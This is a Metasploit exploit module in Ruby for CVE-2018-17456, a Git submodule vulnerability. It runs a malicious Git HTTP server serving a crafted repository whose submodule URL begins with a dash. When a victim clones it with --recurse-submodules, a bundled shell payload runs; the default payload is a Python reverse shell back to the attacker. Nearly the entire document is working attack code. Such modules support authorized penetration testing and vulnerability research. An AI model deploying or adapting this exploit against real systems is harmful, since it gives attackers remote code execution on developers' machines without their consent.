Malicious Git HTTP Server For CVE-2018-17456

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Git

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Malicious Git HTTP Server For CVE-2018-17456',
        'Description' => %q(
                  This module exploits CVE-2018-17456, which affects Git
          versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower.

          When a submodule url which starts with a dash e.g "-u./payload" is passed
          as an argument to git clone, the file "payload" inside the repository
          is executed.

          This module creates a fake git repository which contains a submodule
          containing the vulnerability. The vulnerability is triggered when the
          submodules are initialised (e.g git clone --recurse-submodules URL)
        ),
        'Author' => 'timwr',
        'License' => MSF_LICENSE,
        'References'     =>
          [
            ['CVE', '2018-17456'],
            ['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ],
            ['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ],
            ['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ],
          ],
        'DisclosureDate' => '2018-10-05',
        'Targets' => [
          ['Automatic',
            {
              'Platform' => [ 'unix' ],
              'Arch' => ARCH_CMD,
              'Payload' => {'Compat' => {'PayloadType' => 'python'}}
            }
          ]
        ],
        'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'},
        'DefaultTarget'  => 0,
        'Notes' =>
        {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
        }
      )
    )

    register_options(
      [
        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
      ]
    )
  end

  def setup
    @repo_data = {
      git: { files: {} }
    }
    setup_git
    super
  end

  def setup_git
    # URI must start with a /
    unless git_uri && git_uri.start_with?('/')
      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
    end

    payload_content = "#!/bin/sh\n#{payload.raw} &"
    payload_file = Rex::Text.rand_text_alpha(4..6)

    submodule_path = datastore['GIT_SUBMODULE']
    if submodule_path.blank?
      submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase
    end
    unless submodule_path.include?":"
      fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :')
    end

    gitmodules = "[submodule \"#{submodule_path}\"]
path = #{submodule_path}
url = -u./#{payload_file}
"

    blob_obj = GitObject.build_blob_object(gitmodules)
    @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed
    payload_blob = GitObject.build_blob_object(payload_content)
    @repo_data[:git][:files]["/objects/#{payload_blob.path}"] = payload_blob.compressed

    tree_entries =
    [
      {
        mode: '100644',
        file_name: '.gitmodules',
        sha1: blob_obj.sha1
      },
      {
        mode: '100744',
        file_name: payload_file,
        sha1: payload_blob.sha1
      },
      {
        mode: '160000',
        file_name: submodule_path,
        sha1: blob_obj.sha1
      }
    ]
    tree_obj = GitObject.build_tree_object(tree_entries)
    @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed

    commit_obj = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
    @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
    @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
    @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
  end

  def primer
    # add the git and mercurial URIs as necessary
    hardcoded_uripath(git_uri)
    git_url = URI.parse(get_uri).merge(git_uri)
    print_status("Malicious Git URI is #{git_url}")
    print_status("git clone --recurse-submodules #{git_url}")
  end

  # handles git clone
  def on_request_uri(cli, req)
    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
    if @repo_data[:git][:files].key?(req_file)
      vprint_status("Sending Git #{req_file}")
      send_response(cli, @repo_data[:git][:files][req_file])
    else
      vprint_status("Git #{req_file} doesn't exist")
      send_not_found(cli)
    end
  end

  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
  def git_uri
    return @git_uri if @git_uri
    if datastore['GIT_URI'].blank?
      @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git'
    else
      @git_uri = datastore['GIT_URI']
    end
  end
end